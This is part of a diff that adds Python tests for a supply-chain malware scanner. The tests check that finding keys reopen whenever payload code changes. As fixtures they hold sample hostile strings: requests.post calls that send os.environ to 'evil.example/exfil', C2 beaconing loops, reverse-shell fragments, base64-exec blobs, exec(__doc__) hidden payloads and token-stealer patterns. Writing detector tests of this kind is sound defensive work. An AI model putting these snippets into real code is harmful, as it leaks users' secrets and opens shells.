+    # not inherit the suppression -- this is the supply-chain bypass we close.
+    malicious = _mk(
+        sp.CRITICAL,
+        "botocore",
+        "botocore/utils.py",
+        "Harvests environment variables/secrets AND makes network calls",
+        "Env: L417: env = os.environ.copy()\nNetwork: requests.post('https://evil.example/exfil', data=env)",
+    )
+    assert sp._finding_key(base) != sp._finding_key(malicious)
+
+
+def test_extract_evidence_records_all_matches():
+    # The whole point of P1: a match appended after the first few must show up
+    # in the evidence, so it changes the key instead of riding the earlier ones.
+    src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(6))
+    ev = sp._extract_evidence(src, sp.RE_NETWORK)
+    assert ev.count("requests.get(") == 6
+
+
+def test_baseline_key_reopens_on_appended_match():
+    # A reviewed file already trips a check with several matches; a later exfil
+    # call appended to the same file/check must reopen the finding.
+    base_src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(3))
+    payload_src = base_src + "\nrequests.post('https://evil.example/exfil', data=os.environ)"
+    base = _mk(sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(base_src, sp.RE_NETWORK))
+    payload = _mk(
+        sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(payload_src, sp.RE_NETWORK)
+    )
+    assert sp._finding_key(base) != sp._finding_key(payload)
+
+
+def test_baseline_key_inner_line_marker_is_not_stripped():
+    # Only the leading L<NN>: marker is dropped; an L<NN>: inside the matched
+    # code is part of the code, so changing it must reopen the finding...
+    a = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L10: url = 'http://h/L42:/p'")
+    b = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L10: url = 'http://h/L7:/p'")
+    assert sp._finding_key(a) != sp._finding_key(b)
+    # ...while only the leading marker (line number) changing stays stable.
+    c = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L55: url = 'http://h/L42:/p'")
+    assert sp._finding_key(a) == sp._finding_key(c)
+
+
+def test_baseline_key_indentation_is_significant():
+    # Moving a flagged line out of a guarded block (dedent) changes executable
+    # context, so the same code at a different indent must reopen the finding.
+    guarded = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5:     requests.get(url)")
+    top_level = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: requests.get(url)")
+    assert sp._finding_key(guarded) != sp._finding_key(top_level)
+
+
+def test_canon_evidence_keeps_bitwise_or_in_a_span():
+    # ' | ' only delimits spans when it precedes an L<NN>: marker; a pipe inside
+    # matched code (bitwise OR, typing.Union) is code, so changing an operand
+    # must reopen the finding instead of deduping to the same key.
+    a = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: mode = os.O_RDONLY | os.O_CLOEXEC")
+    b = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: mode = os.O_RDONLY | os.O_EVIL")
+    assert sp._finding_key(a) != sp._finding_key(b)
+    # The OR survives canonicalization as one span (not split on the pipe).
+    assert sp._canon_evidence("L5: a = X | Y") == "a = X | Y"
+
+
+def test_extract_evidence_caps_long_line_but_binds_tail():
+    # A long (e.g. minified) line is not dumped verbatim: the display is bounded to
+    # a prefix, but a sha256 of the full line is appended so a payload past the cut
+    # still changes the key instead of being silently clipped.
+    marker = "EXFIL_PAST_CAP"
+    pad = "# " + " " * 300
+    line = "requests.get('http://a')  " + pad + marker
+    ev = sp._extract_evidence(line + "\n", sp.RE_NETWORK)
+    assert marker not in ev  # tail past the cap is not shown verbatim
+    assert "sha256:" in ev  # but it is pinned by a digest
+    assert len(ev) < len(line)  # bounded, not the whole minified line
+    base = sp._extract_evidence("requests.get('http://a')  " + pad + "x\n", sp.RE_NETWORK)
+    assert sp._evidence_hash(ev) != sp._evidence_hash(base)
+
+
+def test_extract_evidence_binds_call_continuation_past_12_lines():
+    # A matched call that stays open well beyond the old 12-line continuation cap
+    # still binds its later arguments: a changed body on a deep continuation line
+    # (here ~22 lines in) must reopen instead of riding the first 12 lines.
+    head = "requests.post('http://h',\n"
+    middle = "".join(f"    opt{i} = ({i}),\n" for i in range(20))
+    old = head + middle + "    data = {'x': 'old'},\n)\n"
+    new = head + middle + "    data = {'x': 'evil'},\n)\n"
+    eo = sp._extract_evidence(old, sp.RE_NETWORK)
+    en = sp._extract_evidence(new, sp.RE_NETWORK)
+    assert sp._evidence_hash(eo) != sp._evidence_hash(en)
+
+
+def test_logical_line_end_follows_backslash_continuation():
+    # A call split with an explicit backslash before the parenthesis must still
+    # bind the continuation line, so changing the URL on the next physical line
+    # reopens instead of returning at the zero-depth API line.
+    old = "requests.post \\\n    ('http://old/x', data = 1)\n"
+    new = "requests.post \\\n    ('http://evil/x', data = 1)\n"
+    eo = sp._extract_evidence(old, sp.RE_NETWORK)
+    en = sp._extract_evidence(new, sp.RE_NETWORK)
+    assert sp._evidence_hash(eo) != sp._evidence_hash(en)
+
+
+def test_logical_line_end_blanks_multiline_triple_string():
+    # A ) inside a triple-quoted string argument must not close the call early; the
+    # data= after the closing triple-quote must still bind so a changed payload
+    # reopens (a per-line string blanker cannot mask a multi-line string).
+    old = 'requests.post("""http://h\n/path)""", data={"x": "old"})\n'
+    new = 'requests.post("""http://h\n/path)""", data={"x": "evil"})\n'
+    eo = sp._extract_evidence(old, sp.RE_NETWORK)
+    en = sp._extract_evidence(new, sp.RE_NETWORK)
+    assert sp._evidence_hash(eo) != sp._evidence_hash(en)
+
+
+def test_extract_evidence_binds_call_embedded_in_string():
+    # A call whose text lives INSIDE a triple-quoted string (a dropper embedding a
+    # setup.py payload) must still bind its argument lines. Blanking the multi-line
+    # string must not shrink the span below the legacy single-line view: the union
+    # of both views keeps the URL argument bound so a changed payload reopens.
+    src = (
+        'PAYLOAD = """\n'
+        "urllib.request.urlretrieve(\n"
+        '    "http://evil/old.pyz",\n'
+        '    "/tmp/x.pyz",\n'
+        ")\n"
+        '"""\n'
+    )
+    eo = sp._extract_evidence(src, sp.RE_NETWORK)
+    en = sp._extract_evidence(src.replace("old.pyz", "evil2.pyz"), sp.RE_NETWORK)
+    assert "L3" in eo  # the URL argument line is bound, not just the API line
+    assert sp._evidence_hash(eo) != sp._evidence_hash(en)
+
+
+def test_extract_evidence_overflow_digest_is_line_shift_stable():
+    # The overflow digest canonicalizes (strips L<NN>: markers), so inserting an
+    # unrelated line above the overflow region does not change it (line-shift
+    # stability), while a real payload change inside the overflow still reopens.
+    n = sp._MAX_EVIDENCE_SPANS
+    src = "\n".join(f"requests.get('http://a/p{i}')" for i in range(n + 5))
+    sha = lambda e: re.search(r"more\) sha256:([0-9a-f]+)", e).group(1)
+    e_a = sp._extract_evidence(src, sp.RE_NETWORK)
+    assert "more) sha256:" in e_a
+    e_shift = sp._extract_evidence("# unrelated\n" + src, sp.RE_NETWORK)
+    assert sha(e_a) == sha(e_shift)  # a pure line shift does not change the digest
+    e_chg = sp._extract_evidence(src.replace(f"a/p{n + 3}'", "a/pEVIL'"), sp.RE_NETWORK)
+    assert sha(e_a) != sha(e_chg)  # a real change in the overflow region reopens
+
+
+def test_extract_evidence_overflow_is_streamed_and_bounded():
+    # Past the display cap the evidence streams overflow spans into one digest
+    # instead of materializing a rendered span per match, so a file with far more
+    # matches than the cap yields a bounded string (at most cap spans plus the
+    # "(+N more)" digest line) while N counts every overflow match and a change to
+    # an over-cap match still reopens.
+    n = sp._MAX_EVIDENCE_SPANS
+    src = "\n".join(f"requests.get('http://a/p{i}')" for i in range(n + 500))
+    ev = sp._extract_evidence(src, sp.RE_NETWORK)
+    assert ev.count(" sha256:") == 1  # only the overflow digest, no per-span digests
+    assert "(+500 more)" in ev  # every match past the cap is counted
+    # bounded: exactly cap rendered spans plus the single "(+N more)" marker
+    assert len(ev.split(" | ")) == n + 1
+    sha = lambda e: re.search(r"more\) sha256:([0-9a-f]+)", e).group(1)
+    chg = sp._extract_evidence(src.replace(f"a/p{n + 200}'", "a/pEVIL'"), sp.RE_NETWORK)
+    assert sha(ev) != sha(chg)  # an over-cap payload change reopens
+
+
+def test_extract_evidence_same_line_close_then_open_binds_call():
+    # A continued statement that closes on the same physical line that opens a
+    # flagged call, e.g. `]; requests.post(`, nets to <= 0 under a plain bracket
+    # count, dropping the call's `(` so the scan would stop at the opener line.
+    # Order-aware counting keeps the opener, so the argument lines bind and a
+    # changed body on a continuation line reopens.
+    old = "x = [a]; requests.post(\n  'http://h/old',\n  data=secret,\n)\n"
+    new = "x = [a]; requests.post(\n  'http://h/old',\n  data=EVIL,\n)\n"
+    assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(
+        sp._extract_evidence(new, sp.RE_NETWORK)
+    )
+
+
+def test_extract_evidence_backslash_continued_string_binds_tail():
+    # A single-quoted string can continue across lines with a trailing backslash.
+    # The `)` inside that continued string on the next line must not be counted as
+    # code and close the call early, or a changed argument after it would not
+    # reopen. The blanker tracks the continuation so the whole call binds.
+    old = "requests.post('http://h\\\n/path)', data='old')\n"
+    new = "requests.post('http://h\\\n/path)', data='EVIL')\n"
+    assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(
+        sp._extract_evidence(new, sp.RE_NETWORK)
+    )
+
+
+def test_extract_evidence_long_call_tail_past_soft_cap_reopens():
+    # A call with more argument lines than the soft cap (_MAX_CALL_LINES) is still
+    # followed to its real close under the hard limit, so a changed payload on a
+    # continuation line well past the soft cap reopens instead of riding the first
+    # _MAX_CALL_LINES lines. A bracket that never closes stays bound to the soft cap.
+    mid = "\n".join(f"  opt{i}=1," for i in range(sp._MAX_CALL_LINES + 20))
+    old = "requests.post(\n" + mid + "\n  data='old',\n)\n"
+    new = "requests.post(\n" + mid + "\n  data='EVIL',\n)\n"
+    assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(
+        sp._extract_evidence(new, sp.RE_NETWORK)
+    )
+
+
+def test_extract_evidence_fallback_line_numbers_are_correct():
+    # The DOTALL fallback maps match offsets to line numbers via precomputed
+    # newline offsets (bisect, not a quadratic content.count per match); guard that
+    # the mapping is exact so a cross-line match is recorded at its true line and a
+    # changed continuation reopens.
+    content = "x = 1\ny = 2\nwhile True:\n    time.sleep(60)\n    requests.get('http://a/old')\n"
+    e1 = sp._extract_evidence(content, sp.RE_C2_POLLING)
+    e2 = sp._extract_evidence(content.replace("/old", "/evil"), sp.RE_C2_POLLING)
+    assert "L3" in e1  # the while-True loop starts on line 3, not line 1
+    assert sp._evidence_hash(e1) != sp._evidence_hash(e2)
+
+
+def test_large_js_bundle_pins_whole_content_when_other_finding_fires():
+    # A >100 KB JS bundle that also trips the hex-var obfuscation signature binds
+    # the whole bundle, so changing payload code elsewhere (obfuscation line
+    # unchanged) reopens rather than riding the matched signature line.
+    obf = "var _0xabcd = function(){};\n"
+    pad = "// filler\n" * 11000  # push the file over the 100 KB large-bundle bar
+    fo = sp.check_js_file(obf + pad + "var payload = 'old';\n", "pkg/bundle.js", "pkg")
+    fn = sp.check_js_file(obf + pad + "var payload = 'evil';\n", "pkg/bundle.js", "pkg")
+    co = [f for f in fo if "hex-var obfuscation" in f.check][0]
+    cn = [f for f in fn if "hex-var obfuscation" in f.check][0]
+    assert "bundle-sha256:" in co.evidence
+    assert sp._evidence_hash(co.evidence) != sp._evidence_hash(cn.evidence)
+
+
+def test_pth_catch_all_import_evidence_is_bounded_but_reopens():
+    # A large .pth made only of benign-looking imports is bounded in the evidence
+    # (prefix plus digest), not dumped in full, yet still reopens when an import
+    # line changes because the digest covers every line.
+    base = "".join(f"import mod{i}\n" for i in range(200))
+    fo = [
+        f
+        for f in sp.check_pth_file(base + "import secret_old\n", "p/x.pth", "p")
+        if "executable import line" in f.check
+    ]
+    fn = [
+        f
+        for f in sp.check_pth_file(base + "import secret_evil\n", "p/x.pth", "p")
+        if "executable import line" in f.check
+    ]
+    assert fo and fn
+    assert "sha256:" in fo[0].evidence and len(fo[0].evidence) < len(base)
+    assert sp._evidence_hash(fo[0].evidence) != sp._evidence_hash(fn[0].evidence)
+
+
+def test_extract_evidence_records_all_multiline_matches():
+    # The DOTALL fallback must record every distinct cross-line match, so a second
+    # long-sleep appended below an already-flagged one reopens the finding.
+    one = "foo = time.sleep(\n    600\n)\n"
+    two = one + "bar = time.sleep(\n    900\n)\n"
+    ev1 = sp._extract_evidence(one, sp.RE_ANTI_ANALYSIS)
+    ev2 = sp._extract_evidence(two, sp.RE_ANTI_ANALYSIS)
+    assert ev2.count("time.sleep(") == 2  # both matches, not just the first
+    assert sp._evidence_hash(ev1) != sp._evidence_hash(ev2)
+
+
+def test_multiline_evidence_reopens_on_continuation_change():
+    # A DOTALL match records every line it spans, so changing the URL inside an
+    # already-flagged C2 loop (a continuation line) reopens the finding...
+    old = "while True:\n    time.sleep(60)\n    requests.get('http://old.example/poll')\n"
+    new = "while True:\n    time.sleep(60)\n    requests.get('http://evil.example/c2')\n"
+    fo = _mk(
+        sp.CRITICAL,
+        "p",
+        "p/loop.py",
+        "C2 polling/beaconing loop detected",
+        sp._extract_evidence(old, sp.RE_C2_POLLING),
+    )
+    fn = _mk(
+        sp.CRITICAL,
+        "p",
+        "p/loop.py",
+        "C2 polling/beaconing loop detected",
+        sp._extract_evidence(new, sp.RE_C2_POLLING),
+    )
+    assert sp._finding_key(fo) != sp._finding_key(fn)
+    # ...while a benign line shift of the same loop stays stable.
+    shifted = _mk(
+        sp.CRITICAL,
+        "p",
+        "p/loop.py",
+        "C2 polling/beaconing loop detected",
+        sp._extract_evidence("\n\n" + old, sp.RE_C2_POLLING),
+    )
+    assert sp._finding_key(fo) == sp._finding_key(shifted)
+
+
+def test_extract_evidence_bounds_pathological_multiline_span():
+    # A greedy DOTALL span is capped to its head line plus a digest of the rest,
+    # so evidence stays bounded while still binding the full match.
+    big = "vmware\n" + "x\n" * 50 + "detect\n"
+    ev = sp._extract_evidence(big, sp.RE_ANTI_ANALYSIS)
+    assert "sha256:" in ev and ev.count("\n") <= 1
+
+
+def test_canon_evidence_keeps_duplicate_spans():
+    # A second identical matched line in a new code path must change the key, so
+    # an appended duplicate payload occurrence is not deduped to the same hash.
+    one = "    requests.post(url, data=env)"
+    base = _mk(sp.CRITICAL, "p", "p/x.py", "c", f"L2: {one}")
+    dup = _mk(sp.CRITICAL, "p", "p/x.py", "c", f"L2: {one} | L5: {one}")
+    assert sp._finding_key(base) != sp._finding_key(dup)
+
+
+def test_canon_evidence_does_not_strip_inner_marker_from_raw_code():
+    # Raw .pth evidence has no leading L<NN>: marker; an L<NN>:-looking substring
+    # inside the code must be kept, so changing the code before it reopens.
+    base = _mk(
+        sp.HIGH,
+        "p",
+        "p/x.pth",
+        ".pth has 1 executable import line(s)",
+        "import os; note='L7: same_suffix'",
+    )
+    changed = _mk(
+        sp.HIGH,
+        "p",
+        "p/x.pth",
+        ".pth has 1 executable import line(s)",
+        "import urllib.request; note='L7: same_suffix'",
+    )
+    assert sp._finding_key(base) != sp._finding_key(changed)
+
+
+def test_capped_multiline_digest_is_line_shift_stable():
+    # A span over the cap is digested from markerless code, so a pure line shift
+    # of the same span stays stable while a code change still reopens.
+    src = (
+        "while True:\n"
+        + "    x = 1\n" * 20
+        + "    time.sleep(60)\n    requests.get('http://old.example/poll')\n"
+    )
+    e1 = sp._extract_evidence(src, sp.RE_C2_POLLING)
+    e2 = sp._extract_evidence("\n\n" + src, sp.RE_C2_POLLING)
+    assert "sha256:" in e1  # span exceeded the cap
+    assert sp._evidence_hash(e1) == sp._evidence_hash(e2)
+    changed = src.replace("http://old.example/poll", "http://evil.example/c2")
+    assert sp._evidence_hash(e1) != sp._evidence_hash(
+        sp._extract_evidence(changed, sp.RE_C2_POLLING)
+    )
+
+
+def test_canon_evidence_strips_punctuation_label_marker():
+    # A label with punctuation (network+exec:) must still be stripped, so the
+    # line number alone does not change the key.
+    a = "network+exec: L12: subprocess.run(['id'])"
+    b = "network+exec: L99: subprocess.run(['id'])"
+    assert sp._evidence_hash(a) == sp._evidence_hash(b)
+
+
+def test_extract_evidence_binds_call_continuation_lines():
+    # A multi-line network call binds its argument lines, so a changed URL on a
+    # continuation line reopens even though the line with the API name is unchanged.
+    old = "requests.post(\n    'http://old.example',\n    data=env,\n)\n"
+    new = "requests.post(\n    'http://evil.example',\n    data=env,\n)\n"
+    eo = sp._extract_evidence(old, sp.RE_NETWORK)
+    en = sp._extract_evidence(new, sp.RE_NETWORK)
+    assert "old.example" in eo and "evil.example" in en
+    assert sp._evidence_hash(eo) != sp._evidence_hash(en)
+
+
+def test_extract_evidence_records_multiline_after_oneline():
+    # A one-line C2 match no longer suppresses a later multi-line C2 loop: the
+    # appended cross-line construct is recorded too, so it cannot ride the key.
+    oneline = "while True: time.sleep(60); requests.get('http://a/poll')\n"
+    appended = oneline + "while True:\n    time.sleep(30)\n    requests.get('http://evil/c2')\n"
+    eo = sp._extract_evidence(oneline, sp.RE_C2_POLLING)
+    ea = sp._extract_evidence(appended, sp.RE_C2_POLLING)
+    assert "evil" in ea
+    assert sp._evidence_hash(eo) != sp._evidence_hash(ea)
+
+
+def test_extract_evidence_giant_span_binds_full_interior():
+    # A giant greedy DOTALL span bridging anchors across the whole file is bound by
+    # a digest of its full content (not just the outer anchors), so a cross-line
+    # payload inserted into the bridged interior between unchanged outer anchors
+    # reopens instead of riding the key. (Binding only head/tail would fail open on
+    # an interior insertion.) A pure line shift still stays stable.
+    gap = "\n".join(f"    x = {i}" for i in range(70))
+    base = "import socket\nsock.connect(addr)\n" + gap + "\nos.dup2(fd, 0)\nsubprocess.Popen(cmd)\n"
+    # interior insertion of a cross-line payload between the unchanged outer anchors
+    injected = base.replace("    x = 35", "    x = 35\n    sock.connect(evilhost)")
+    ea = sp._extract_evidence(base, sp.RE_REVERSE_SHELL)
+    ei = sp._extract_evidence(injected, sp.RE_REVERSE_SHELL)
+    assert "sha256:" in ea  # full interior bound by a digest
+    assert sp._evidence_hash(ea) != sp._evidence_hash(ei)  # interior change reopens
+    shifted = sp._extract_evidence("\n\n" + base, sp.RE_REVERSE_SHELL)
+    assert sp._evidence_hash(ea) == sp._evidence_hash(shifted)  # pure shift stable
+
+
+def test_extract_evidence_giant_span_appended_payload_reopens():
+    # The anchor binding must reopen when an appended cross-line payload extends the
+    # bridged span past the cap: an existing one-line /tmp+subprocess finding plus a
+    # NEW /tmp/evil line and a later subprocess.run (60+ lines apart, sharing no
+    # single line so the per-line pass never binds them) moves the span's tail
+    # anchor, so the evidence changes instead of riding the unchanged key.
+    existing = "import os\n/tmp/x; subprocess.run(['id'])\n"
+    gap = "\n".join(f"    pad{i} = {i}" for i in range(65))
+    appended = existing + "/tmp/evil\n" + gap + "\nsubprocess.run(['curl', 'evil'])\n"
+    base = sp._extract_evidence(existing, sp.RE_TEMP_EXEC)
+    app = sp._extract_evidence(appended, sp.RE_TEMP_EXEC)
+    assert sp._evidence_hash(base) != sp._evidence_hash(app)
+    # a pure line shift of the same payload does not reopen
+    shifted = sp._extract_evidence("\n\n" + appended, sp.RE_TEMP_EXEC)
+    assert sp._evidence_hash(app) == sp._evidence_hash(shifted)
+
+
+def test_hidden_payload_binds_visible_exec_trigger():
+    # The hidden-payload finding binds the visible exec/eval line that makes the
+    # docstring runnable, so flipping a harmless eval("1+1") to exec(__doc__) (which
+    # now runs the same hidden network+exec payload) reopens instead of riding the
+    # key on the unchanged hidden text.
+    hidden = '"""\nimport requests; requests.get("http://evil")\nsubprocess.run(["sh"])\n"""\n'
+    benign = hidden + 'eval("1+1")\n'
+    armed = hidden + "exec(__doc__)\n"
+
+    def key(src):
+        return [
+            sp._finding_key(f)
+            for f in sp._hidden_payload_findings(src, sp._strip_noncode(src), "p/x.py", "p")
+            if "hidden network+exec" in f.check
+        ][0]
+
+    assert key(benign) != key(armed)
+
+
+def test_js_finding_pins_full_content_digest():
+    # A JS finding pins the full file content digest, so a backtick template literal
+    # that closes the bracket span early cannot let later option/body lines change
+    # without reopening (the Python-string-aware extractor would otherwise omit
+    # them). Holds for small files too, not just large bundles.
+    old = "window.ethereum.request(`tpl with ) paren`,\n  {method: 'eth', body: 'OLD'})\n"
+    new = "window.ethereum.request(`tpl with ) paren`,\n  {method: 'eth', body: 'EVIL'})\n"
+    fo = [f for f in sp.check_js_file(old, "p/w.js", "p") if "Web3" in f.check][0]
+    fn = [f for f in sp.check_js_file(new, "p/w.js", "p") if "Web3" in f.check][0]
+    assert "bundle-sha256:" in fo.evidence
+    assert sp._finding_key(fo) != sp._finding_key(fn)
+
+
+def test_extract_evidence_binds_moderate_appended_dotall_span():
+    # A multi-line construct appended under a check that already has a one-line
+    # match is still recorded when it is not a giant whole-file bridge, so its
+    # payload reopens instead of riding the old one-line match.
+    one = "while True: time.sleep(60); requests.get('http://a/poll')\n"
+    gap = "\n".join(f"    x = {i}" for i in range(20))
+    old = one + "while True:\n" + gap + "\n    requests.get('http://old/c2')\n"
+    new = one + "while True:\n" + gap + "\n    requests.get('http://evil/c2')\n"
+    eo = sp._extract_evidence(old, sp.RE_C2_POLLING)
+    en = sp._extract_evidence(new, sp.RE_C2_POLLING)
+    assert sp._evidence_hash(eo) != sp._evidence_hash(en)
+
+
+def test_canon_evidence_reorder_reopens():
+    # Reordering matched lines changes executable context, so the key reopens
+    # (the canon preserves discovery order rather than sorting).
+    a = "Net: L10: requests.post(url)\nEnv: L20: env = os.environ.copy()"
+    b = "Env: L20: env = os.environ.copy()\nNet: L10: requests.post(url)"
+    assert sp._evidence_hash(a) != sp._evidence_hash(b)
+
+
+def test_logical_line_end_ignores_brackets_in_strings():
+    # A ) inside a string argument must not close the call early, so later
+    # argument lines still bind and a changed payload there reopens.
+    old = "requests.post('http://h/p)',\n    data=secret_old,\n)\n"
+    new = "requests.post('http://h/p)',\n    data=secret_new,\n)\n"
+    eo = sp._extract_evidence(old, sp.RE_NETWORK)
+    en = sp._extract_evidence(new, sp.RE_NETWORK)
+    assert "data=secret_old" in eo
+    assert sp._evidence_hash(eo) != sp._evidence_hash(en)
+
+
+def test_base64_exec_blob_finding_binds_every_blob():
+    # The base64+exec+blob finding digests every blob, so appending a second
+    # encoded payload reopens even when the first blob and decode line are unchanged.
+    head = "import base64\nblob1 = '" + "A" * 220 + "'\nexec(base64.b64decode(blob1))\n"
+    old = head
+    new = head + "blob2 = '" + "B" * 220 + "'\n"
+    fo = [f for f in sp.check_py_file(old, "p/x.py", "p") if "large encoded blob" in f.check]
+    fn = [f for f in sp.check_py_file(new, "p/x.py", "p") if "large encoded blob" in f.check]
+    assert fo and fn
+    assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
+
+
+def test_pth_large_blob_finding_binds_every_blob():
+    # The .pth large-blob finding digests every blob, so appending a second
+    # encoded payload reopens rather than riding the unchanged first blob.
+    old = "import os\n" + "X" * 220 + "\n"
+    new = old + "Y" * 220 + "\n"
+    fo = [f for f in sp.check_pth_file(old, "p/x.pth", "p") if "large base64-like blob" in f.check]
+    fn = [f for f in sp.check_pth_file(new, "p/x.pth", "p") if "large base64-like blob" in f.check]
+    assert fo and fn
+    assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
+
+
+def test_pth_unusually_large_finding_is_content_bound():
+    # Two different payloads of equal size and import count must get different
+    # keys: the finding now pins the .pth content via a digest.
+    a = [
+        f
+        for f in sp.check_pth_file("import abc; n=" + repr("!" * 500), "p/x.pth", "p")
+        if f.check.startswith("Unusually large executable .pth")
+    ]
+    b = [
+        f
+        for f in sp.check_pth_file("import xyz; n=" + repr("?" * 500), "p/x.pth", "p")
+        if f.check.startswith("Unusually large executable .pth")
+    ]
+    assert a and b
+    assert "sha256:" in a[0].evidence
+    assert sp._finding_key(a[0]) != sp._finding_key(b[0])
+
+
+def test_js_token_network_finding_binds_network_evidence():
+    # The JS stealer combo records both the token AND the network call, so a
+    # changed exfil endpoint reopens (RE_NETWORK-recognized call used here).
+    old = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://old.example');\n"
+    new = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://evil.example');\n"
+    fo = [f for f in sp.check_js_file(old, "p/p.js", "p") if "stealer" in f.check]
+    fn = [f for f in sp.check_js_file(new, "p/p.js", "p") if "stealer" in f.check]
+    assert fo and fn
+    assert "Network:" in fo[0].evidence
+    assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
+
+
+def test_embedded_pem_key_body_change_reopens():
+    # The embedded-key evidence pins the full PEM block via a digest, so swapping
+    # the key body under the same BEGIN/END markers reopens the finding instead
+    # of riding the unchanged marker line.
+    head = "-----BEGIN RSA PRIVATE KEY-----\n"
+    tail = "\n-----END RSA PRIVATE KEY-----"
+    net = "\nrequests.get('http://c2.example')\n"
+    old = f"k = '''{head}MIIoldAAAAAAAAAAAAAAAAAAAA{tail}'''{net}"
+    new = f"k = '''{head}MIInewBBBBBBBBBBBBBBBBBBBB{tail}'''{net}"
+    fo = [
+        f
+        for f in sp.check_py_file(old, "p/k.py", "p")
+        if f.check.startswith("Embedded cryptographic key + network")
+    ]
+    fn = [
+        f
+        for f in sp.check_py_file(new, "p/k.py", "p")
+        if f.check.startswith("Embedded cryptographic key + network")
+    ]
+    assert fo and fn
+    assert "sha256:" in fo[0].evidence
+    assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
+
+
+def test_shell_combos_bind_network_evidence():
+    # Both shell combos record their network/exec side, so a changed endpoint
+    # reopens instead of riding the unchanged token or hook line.
+    old = "token='ghp_AAAAAAAAAAAAAAAAAAAAAAAA'\nrequests.get('http://old.example')\n"
+    new = "token='ghp_AAAAAAAAAAAAAAAAAAAAAAAA'\nrequests.get('http://evil.example')\n"
+    to = [
+        f
+        for f in sp.check_shell_file(old, "p/i.sh", "p")
+        if f.check == "Shell embeds credential regexes AND makes network calls"
+    ]
+    tn = [
+        f
+        for f in sp.check_shell_file(new, "p/i.sh", "p")
+        if f.check == "Shell embeds credential regexes AND makes network calls"
+    ]
+    assert to and tn
+    assert sp._finding_key(to[0]) != sp._finding_key(tn[0])
+    ho = "SessionStart hook installed\nrequests.get('http://old.example')\n"
+    hn = "SessionStart hook installed\nrequests.get('http://evil.example')\n"
+    go = [
+        f
+        for f in sp.check_shell_file(ho, "p/i.sh", "p")
+        if f.check.startswith("Shell installs developer-tool")
+    ]
+    gn = [
+        f
+        for f in sp.check_shell_file(hn, "p/i.sh", "p")
+        if f.check.startswith("Shell installs developer-tool")
+    ]
+    assert go and gn
+    assert "Hook:" in go[0].evidence
+    assert sp._finding_key(go[0]) != sp._finding_key(gn[0])
+
+
+def test_hidden_network_exec_reopens_on_endpoint_change():
+    # The hidden network+exec payload binds both the network and the exec signal,
+    # so changing the docstring exfil URL reopens the finding.
+    old = (
+        '"""\nimport urllib.request, os\nurllib.request.urlopen("http://old/x").read()\n'
+        'os.system("sh -c id")\n"""\nexec(__doc__)\n'
+    )
+    new = (
+        '"""\nimport urllib.request, os\nurllib.request.urlopen("http://evil/x").read()\n'
+        'os.system("sh -c id")\n"""\nexec(__doc__)\n'
+    )
+    fo = [f for f in sp.check_py_file(old, "p/d.py", "p") if "hidden network+exec" in f.check]
+    fn = [f for f in sp.check_py_file(new, "p/d.py", "p") if "hidden network+exec" in f.check]
+    assert fo and fn
+    assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
+
+
+def test_base64_exec_blob_combo_binds_blob_digest():
+    # The blob may sit on a separate line from the decode call; the finding now
+    # digests it, so a changed payload reopens even with unchanged base64/exec.
+    b1 = "BLOB = '" + "A" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n"
+    b2 = "BLOB = '" + "B" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n"
+    f1 = [f for f in sp.check_py_file(b1, "p/m.py", "p") if "large encoded blob" in f.check]
+    f2 = [f for f in sp.check_py_file(b2, "p/m.py", "p") if "large encoded blob" in f.check]
+    assert f1 and f2
+    assert "Blob: sha256:" in f1[0].evidence
+    assert sp._finding_key(f1[0]) != sp._finding_key(f2[0])
+
+
+def test_openssl_key_combo_binds_key_evidence():
+    # openssl + embedded key with no network must bind the key, so a changed key
+    # reopens instead of riding the OpenSSL line alone.
+    o1 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----A"\n'
+    o2 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----B"\n'
+    g1 = [f for f in sp.check_py_file(o1, "p/o.py", "p") if "openssl encryption" in f.check]
+    g2 = [f for f in sp.check_py_file(o2, "p/o.py", "p") if "openssl encryption" in f.check]
+    assert g1 and g2
+    assert "Key:" in g1[0].evidence
+    assert sp._finding_key(g1[0]) != sp._finding_key(g2[0])
+
+
+def test_anti_analysis_combo_binds_suspicious_side():
+    # The anti-analysis combo records the network/exec side, so a changed exfil
+    # endpoint reopens instead of riding the unchanged sleep/trace line.
+    old = "import time, requests\ntime.sleep(600)\nrequests.get('http://old.example')\n"
+    new = "import time, requests\ntime.sleep(600)\nrequests.get('http://evil.example/exfil')\n"
+    fo = [
+        f
+        for f in sp.check_py_file(old, "p/x.py", "p")
+        if f.check == "Anti-analysis/sandbox evasion + suspicious behavior"
+    ]
+    fn = [
+        f
+        for f in sp.check_py_file(new, "p/x.py", "p")
+        if f.check == "Anti-analysis/sandbox evasion + suspicious behavior"
+    ]
+    assert fo and fn
+    assert "Network:" in fo[0].evidence
+    assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
+
+
+def test_dns_exfil_combo_binds_other_side():
+    # The DNS exfil combo records the co-occurring network side, so a changed
+    # endpoint reopens instead of riding the unchanged DNS line.
+    old = "import dns.resolver\ndns.resolver.resolve('x.old.com','TXT')\nrequests.get('http://old.example')\n"
